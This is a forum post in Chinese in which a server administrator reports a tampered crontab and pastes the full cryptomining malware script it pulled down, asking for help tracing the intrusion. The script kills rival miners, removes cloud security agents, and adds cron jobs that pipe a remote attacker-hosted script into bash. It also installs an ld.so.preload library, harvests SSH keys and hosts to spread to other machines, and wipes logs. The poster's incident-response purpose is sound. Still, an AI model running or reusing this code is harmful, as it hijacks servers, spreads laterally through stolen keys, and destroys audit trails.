今早登录服务器发现定时任务被篡改了，改成下面这样 30 23 * * * (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh 看脚本发现有挖矿程序，有一台被入侵的服务器 cpu 内存拉满，其他的都正常，怀疑是 redis 入侵，redis 没设密码，但有一台没装 redis 的也被入侵了，排查半天不知道服务器怎么被入侵的，大佬们帮忙看看，脚本如下： #!/bin/bash SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin setenforce 0 2>/dev/null ulimit -n 65535 ufw disable iptables -F echo "vm.nr_hugepages=$((1168+$(nproc)))" | tee -a /etc/sysctl.conf sysctl -w vm.nr_hugepages=$((1168+$(nproc))) echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf netstat -antp | grep ':3333' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':4444' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':5555' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':7777' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':14444' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':5790' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':45700' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':2222' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':9999' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':20580' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep ':13531' | awk '{print $7}' | sed -e "s//.//g" | xargs -I % kill -9 % netstat -antp | grep '23.94.24.12' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % netstat -antp | grep '134.122.17.13' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % netstat -antp | grep '66.70.218.40' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % netstat -antp | grep '209.141.35.17' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % echo "123" netstat -antp | grep '119.28.4.91' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % netstat -antp | grep '101.32.73.178' | awk '{print $7}' | sed -e 's//.//g' | xargs -I % kill -9 % netstat -antp | grep 185.238.250.137 | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep tmate | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep kinsing | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep kdevtmpfsi | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep pythonww | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep tcpp | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep c3pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep xmr | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep f2pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep crypto-pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep t00ls | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep vihansoft | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % netstat -antp | grep mrbpool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 % ps -fe | grep '/usr/sbin/sshd' | grep 'sshgood' | grep -v grep | awk '{print $2}' | sed -e 's//.//g' | xargs -I % kill -9 % ps aux | grep -a -E "kdevtmpfsi|kinsing|solr|f2pool|tcpp|xmr|tmate|185.238.250.137|c3pool" | awk '{print $2}' | xargs kill -9

der(){ if ps aux | grep -i '[a]liyun'; then (wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh (wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove rm -rf /usr/local/cloudmonitor elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi sleep 1 echo "DER Uninstalled" }

der if ! [ -z "$(command -v wdl)" ] ; then DLB="wdl -O " ; fi ; if ! [ -z "$(command -v wge)" ] ; then DLB="wge -O " ; fi if ! [ -z "$(command -v wget2)" ] ; then DLB="wget2 -O " ; fi ; if ! [ -z "$(command -v wget)" ] ; then DLB="wget -O " ; fi if ! [ -z "$(command -v cdl)" ] ; then DLB="cdl -Lk -o " ; fi ; if ! [ -z "$(command -v cur)" ] ; then DLB="cur -Lk -o " ; fi if ! [ -z "$(command -v curl2)" ] ; then DLB="curl2 -Lk -o " ; fi ; if ! [ -z "$(command -v curl)" ] ; then DLB="curl -Lk -o " ; fi echo $DLB url="w.apacheorg.top:1234" liburl="http://w.apacheorg.top:1234/.libs"

cronlow(){ cr=$(crontab -l | grep -q $url | wc -l) if [ ${cr} -eq 0 ];then crontab -r (crontab -l 2>/dev/null; echo "30 23 * * * (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh")| crontab - else echo "cronlow skip" fi }

kills() { /bin/ps axf -o "pid %cpu command" |grep -v river | awk '{if($2>50.0) print $1}' | while read procid do kill -9 $procid done }

kills if [ -w /usr/sbin ]; then SPATH=/usr/sbin else SPATH=/tmp fi echo $SPATH

echo 'handling download itself ...' if cat /etc/cron.d/whoami /etc/cron.d/apache /var/spool/cron/whoami /var/spool/cron/crontabs/whoami /etc/cron.hourly/oanacroner1 | grep -q "205.185.113.151|5.196.247.12|bash.givemexyz.xyz|194.156.99.30|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTQuMTU2Ljk5LjMwL2QucHkiKS5yZWFkKCkpJw==|bash.givemexyz.in|205.185.116.78" then chattr -i -a /etc/cron.d/whoami /etc/cron.d/apache /var/spool/cron/whoami /var/spool/cron/crontabs/whoami /etc/cron.hourly/oanacroner1 crontab -r fi if crontab -l | grep "$url" then echo "Cron exists" else apt-get install -y cron yum install -y vixie-cron crontabs service crond start chkconfig --level 35 crond on echo "Cron not found" echo -e "30 23 * * * root (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh\n##" > /etc/cron.d/whoami echo -e "30 23 * * * root (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh\n##" > /etc/cron.d/apache echo -e "30 23 * * * root (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh\n##" > /etc/cron.d/nginx echo -e "30 23 * * * (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh\n##" > /var/spool/cron/whoami mkdir -p /var/spool/cron/crontabs echo -e "30 23 * * * (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh\n##" > /var/spool/cron/crontabs/whoami mkdir -p /etc/cron.hourly echo "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1 echo "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/init.d/down chattr +ai -V /etc/cron.d/whoami /etc/cron.d/apache /var/spool/cron/whoami /var/spool/cron/crontabs/whoami /etc/cron.hourly/oanacroner1 /etc/init.d/down fi chattr -i -a /etc/cron.d/whoami /etc/cron.d/apache /var/spool/cron/whoami /var/spool/cron/crontabs/whoami /etc/cron.hourly/oanacroner1 echo "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh" > /etc/init.d/down | chmod 755 /etc/init.d/down

localgo() { echo "localgo start" myhostip=$(curl -sL icanhazip.com) KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub) KEYS2=$(cat ~/.ssh/config /home//.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }') KEYS3=$(cat ~/.bash_history /home//.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'}) KEYS4=$(find ~/ /root /home -maxdepth 3 -name '.pem' | uniq) HOSTS=$(cat ~/.ssh/config /home//.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}') HOSTS2=$(cat ~/.bash_history /home//.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}.){3}[0-9]{1,3}") HOSTS3=$(cat ~/.bash_history /home//.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}') HOSTS4=$(cat /etc/hosts | grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}') HOSTS5=$(cat ~//.ssh/known_hosts /home//.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}.){3}[0-9]{1,3}" | uniq) HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}.){3}[0-9]{1,3}" | grep ":22" | uniq) USERZ=$( echo "root" find ~/ /root /home -maxdepth 2 -name '.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -wv ".ssh" ) USERZ2=$(cat ~/.bash_history /home//.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq) sshports=$(cat ~/.bash_history /home//.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '-p' '{print $2}' | awk '{print $1}' | sed 's/[^0-9]*//g' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | sed -e "$a22") userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | grep -vw "." | grep -vw "ssh" | sed '/./d') hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) i=0 for user in $userlist; do for host in $hostlist; do for key in $keylist; do for sshp in $sshports; do ((i++)) if [ "${i}" -eq "20" ]; then sleep 5 ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null & i=0 fi

      #Wait 5 seconds after every 20 attempts and clean up hanging processes

      chmod +r $key
      chmod 400 $key
      echo "$user@$host"
      ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"
      ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"
    done
  done
done

done

scangogo

echo "local done" }

MD5_1_XMR="e5c3720e14a5ea7f678e0a9835d28283" MD5_2_XMR=md5sum $SPATH/.libs | awk '{print $1}'

if [ "$SPATH" = "/usr/sbin" ] then chattr -ia / /usr/ /usr/local/ /usr/local/lib/ 2>/dev/null if [ "$MD5_1_XMR" = "$MD5_2_XMR" ] then if [ $(netstat -ant|grep '107.172.214.23:80'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ] then $SPATH/.libs chattr -ia /etc/ /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null chattr -ai /etc/ld.so.* 2>/dev/null $DLB /usr/local/lib/libs.so http://$url/libs.so echo '/usr/local/lib/libs.so' >> /etc/ld.so.preload chattr +ai $SPATH/.libs $SPATH/.inis /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null localgo elif [ $(netstat -ant|grep '198.46.202.146:8899'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ] then $DLB $SPATH/.inis http://$url/inis chmod +x $SPATH/.inis 2>/dev/null $SPATH/.inis else echo "ok" chattr -ia /etc/ /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null chattr -ai /etc/ld.so.* 2>/dev/null $DLB /usr/local/lib/libs.so http://$url/libs.so echo '/usr/local/lib/libs.so' >> /etc/ld.so.preload chattr +ai $SPATH/.libs $SPATH/.inis /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null localgo fi localgo else chattr -ia /etc/ /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null chattr -ai /etc/ld.so.* 2>/dev/null chattr -ai /usr/sbin/.libs 2>/dev/null chattr -ai /usr/sbin/.inis 2>/dev/null rm -f $SPATH/.libs rm -f $SPATH/.inis $DLB $SPATH/.libs $liburl $DLB /usr/local/lib/libs.so http://$url/libs.so $DLB $SPATH/.ini http://$url/inis echo '/usr/local/lib/libs.so' >> /etc/ld.so.preload chattr +ia /usr/local/lib/libs.so chattr +ia /usr/local/lib/inis.so chmod +x $SPATH/.libs 2>/dev/null chmod +x $SPATH/.inis 2>/dev/null $SPATH/.libs nohup $SPATH/.inis 1>/dev/null 2>&1 & chattr +ai $SPATH/.libs chattr +ai $SPATH/.inis localgo fi else if [ "$MD5_1_XMR" != "$MD5_2_XMR" ] then chattr -ai $SPATH/.libs chattr -ai $SPATH/.inis $DLB $SPATH/.libs $liburl $DLB $SPATH/.inis http://$url/inis chattr -ia /etc/ /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/null chattr -ai /etc/ld.so.* 2>/dev/null $DLB /usr/local/lib/libs.so http://$url/libs.so chattr +ia /usr/local/lib/libs.so chmod +x $SPATH/.libs 2>/dev/null chmod +x $SPATH/.inis 2>/dev/null $SPATH/.libs nohup $SPATH/.inis 1>/dev/null 2>&1 & chattr +ai $SPATH/.libs chattr +ai $SPATH/.inis localgo cronlow else cronlow if [ $(netstat -ant|grep '107.172.214.23:80'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ] then $SPATH/.libs localgo elif [ $(netstat -ant|grep '198.46.202.146:8899'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ] then nohup $SPATH/.inis 1>/dev/null 2>&1 & else echo "ok" fi fi fi

echo 0>/root/.ssh/authorized_keys echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron echo 0>~/.bash_history history -c 2>/dev/nul